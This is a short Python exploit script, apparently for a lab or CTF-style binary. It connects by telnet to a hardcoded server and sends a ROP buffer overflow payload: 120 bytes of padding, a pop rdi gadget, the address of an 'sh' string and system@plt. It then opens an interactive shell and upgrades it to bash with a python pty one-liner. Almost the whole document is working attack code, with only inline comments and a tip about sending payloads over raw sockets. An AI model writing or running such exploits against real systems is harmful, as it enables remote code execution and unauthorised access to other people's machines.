from struct import pack
from telnetlib import Telnet
"""
Be careful with telnet. It doubles the '\xff' when sending payload. Use socket instead. And set that for telnet to interact.
p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
p.connect((ip,port))
p.send(__)
p.recv(__)
tn=Telnet()
tn.sock=p
tn.interact()
"""
p64 = lambda x: pack("Q",x)              #convert to little endian
print "[*] Connecting to server !!"
p=Telnet('192.168.43.204',5556)          #connect to server
print "[*] Connected."
pop_rdi=0x4007b3                         #address to pop rdi;ret
system_plt=0x400580                      #address to system@plt entry
sh=0x400821                              #address of 'sh' string

print p.read_until(">")                  #start reading

buf = "A"*120                            #junk
buf+=p64(pop_rdi)                        #pop rdi;ret
buf+=p64(sh)                             # 'sh' goes into rdi
buf+=p64(system_plt)                     # system

print "[*] Sending payload .."
p.write(buf+'\n')                        #send payload
print "[*] Got shell. Enter commands."
p.write('id;python -c "import pty;pty.spawn(\'/bin/bash\')"\n')    #just initial commands
p.interact()                             #interactive shell